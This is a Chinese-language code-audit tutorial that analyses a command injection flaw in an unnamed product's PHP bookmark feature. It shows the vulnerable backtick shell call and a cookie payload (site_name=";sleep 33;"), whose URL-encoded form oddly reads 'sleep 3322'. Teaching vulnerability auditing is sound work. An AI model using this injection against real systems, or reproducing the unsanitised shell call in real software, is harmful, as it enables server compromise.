手把手教你学会代码审计之命令注入漏洞
原文链接: https://mp.weixin.qq.com/s?__biz=Mzg3MzUxNDQwNg==&mid=2247483998&idx=1&sn=1fc9a29ab6682685a8fa8f63c3c5fe97
手把手教你学会代码审计之命令注入漏洞
原创 uuwan SecurityBug 2025-07-18 16:01
本文由作者uuwan原创,禁止转载。 请点击文末#代码审计标签查看合集,或者关注公众号点击底部【源码审计】子菜单,如果对您有帮助还请点赞、在看、评论、转发、关注、打赏哦,您的互动就是我更新最大的动力!
已知X产品bookmark即书签功能中存在命令注入漏洞,但是无法得知攻击者的攻击方式。
登录X产品操作系统后台
find / -name "*bookmark*"
找到了关键文件bookmark.php和paaa.php
下文仅展示关键代码,可以不看后面的解析,给自己五分钟的时间分析一下命令注入漏洞的位置。
bookmark.php
<?php
include_once "bookmark_db.php";
require_once(dirname(__FILE__).'/'."../paaa.php");
$dbname = $_COOKIE['site_name'];
$uname = $_COOKIE['user_name'];
$role_names = $_COOKIE['roles'];
$action = $_REQUEST['action'];
if(!$dbname || !$uname || !$action){
exit("action is null!");
}
$cmd = 'bookmark status';
$mycli = new cli();
//此处调用了cmd_direct函数
$cli_res = $mycli->cmd_direct($cmd, $dbname);
$dbname = "auth_" . $dbname;
$db_conn = new MP\DB\BookMark_db($dbname);
if($action == 'add') {
$url = $_POST['url'];
$type = $_POST['type'];
$desc = $_POST['description'];
if(!$url || !$desc){
exit("url/description is null!");
}
header("Content-Type: text/html");
if($db_conn->sql_inj($desc) || $db_conn->sql_inj($url) || !is_numeric($type)) {
echo "Fail to add the bookmark!";
}
$res = $db_conn->addBookMarkCheck($uname,$url,$type,$desc);
if($res){
$cmd = 'sync sql "insert into tbl_bookmark(url,type,user_name,description) values(&'.
$url.'&,'.$type.',&'.$uname.'&,&'.$desc.'&)"';
$mycli = new cli();
//此处调用了cmd_direct函数
$cli_res = $mycli->cmd_direct($cmd , $_COOKIE['site_name']);
if($cli_res["result"]){
echo "add successfully!";
echo "<script>history.go(-2);</script>";
} else {
echo "Fail to add the bookmark!";
}
}else{
echo "Fail to add the bookmark! One user only can own 100 bookmarks.";
}
} else {
exit("invalid action");
}
?>
paaa.php
<?php
function cmd_direct($cmd, $shell)
{
global $debugLog ;
global $logFile;
if ($debugLog) {
$t_fileRef = fopen($logFile,'a');
fwrite($t_fileRef, "\t" . $cmd . "\n");
}
if(empty($shell)||!isset($shell)){
$shell = "global";
}
$f_eop = chr(252);
$cmd .= $f_eop;
$cmd = escapeshellarg($cmd);
//反引号`在php中可以执行命令
$output = `/ca/bin/backend -s "$shell" -c $cmd`;
$output = trim($output, $f_eop);
if ($debugLog) {
$t_fileRef = fopen($logFile,'a');
fwrite($t_fileRef, "\t" . $output . "\n");
}
$output = backend_format($output);
$json = json_decode($output,true);
if(!$json){
return $output;
}
return foreach_trim($json);
}
?>
此处我们开始解析。
我们可以看到paaa.php中有一个明显的漏洞。
反引号``在php中可以执行命令,也是命令注入代码审计的关键函数
传参$cmd和参数$shell都可以传入反引号中被执行。
也就是说这个函数cmd_direct可以进行命令注入。
function cmd_direct($cmd, $shell)
{
$output = `/ca/bin/backend -s "$shell" -c $cmd`;
}
再看下bookmark.php中有两处调用了cmd_direct()
第15行
$cli_res = $mycli->cmd_direct($cmd, $dbname);
第36行
if($action == 'add')
{
$cli_res = $mycli->cmd_direct($cmd , $_COOKIE['site_name']);
}
经过分析第15行处的命令注入更容易触发。
这里是一个经验点,这处的行数靠前,经过的代码少。
所以保证了它更容易被执行到。
我们取出前15行进行分析。
此处是一个require_once函数,
它可以把paaa.php中的代码包含在bookmark.php中
通俗的来说,也就是此时在bookmark.php中
可以调用paaa.php的全部代码包含参数和函数
聪明的你一定意识到了,正是因为有这个require_once函数
我们才可以在bookmark.php中调用paaa.php中的cmd_direct()函数
从而形成命令执行。
require_once(dirname(__FILE__).'/'."../paaa.php");
$dbname = $_COOKIE['site_name'];
//$_COOKIE获取cookie中参数site_name的值
$uname = $_COOKIE['user_name'];
$role_names = $_COOKIE['roles'];
//$_REQUEST获取cookie、get、post请求中参数action的值
$action = $_REQUEST['action'];
要确保代码能执行到cmd_direct(),那这块的if条件一定不能满足
如果满足了,bookmark.php的执行就会在exit处跳出结束。
也就是说dbname和uname和action一定得有参数值
if(!$dbname || !$uname || !$action){
exit("action is null!");
}
$cmd = 'bookmark status';
$mycli = new cli();
//此处调用了cmd_direct函数
$cli_res = $mycli->cmd_direct($cmd, $dbname);
我们用burpsuite抓住一个正常的编辑书签的请求。
可以看到此时action是有值的,但是cookie中并没有参数user_name和参数site_name
所以正常发送的请求肯定会因为不满足存在参数值,而退出exit,进而无法走到cmd_direct函数中。
那很简单了!
我们在cookie中增加两个参数user_name=aaa;site_name=bbb;
$cmd = 'bookmark status';
$mycli = new cli();
//此时我们成功调用了cmd_direct函数
//cmd的值是固定的bookmark status
//那么我们只能在dbname中进行命令注入
$cli_res = $mycli->cmd_direct($cmd, $dbname);
进入cmd_direct函数
function cmd_direct($cmd, $shell)
{
$output = `/ca/bin/backend -s "$shell" -c $cmd`;
}
$dbname = $_COOKIE['site_name'],我们只需要构造site_name=";sleep 33;"
`/ca/bin/backend -s "$shell" -c $cmd`;
就变成下文的样子
`/ca/bin/backend -s "";sleep 33;"" -c bookmark status`;
这样子就可以成功执行命令啦!
实际操作中我们对site_name的值进行url编码
因为cookie的值在后端后被自动url解码
site_name=%22%3bsleep+3322%3b
最终的攻击包如下图
这就是复现命令注入的全过程啦
是不是很简单呢。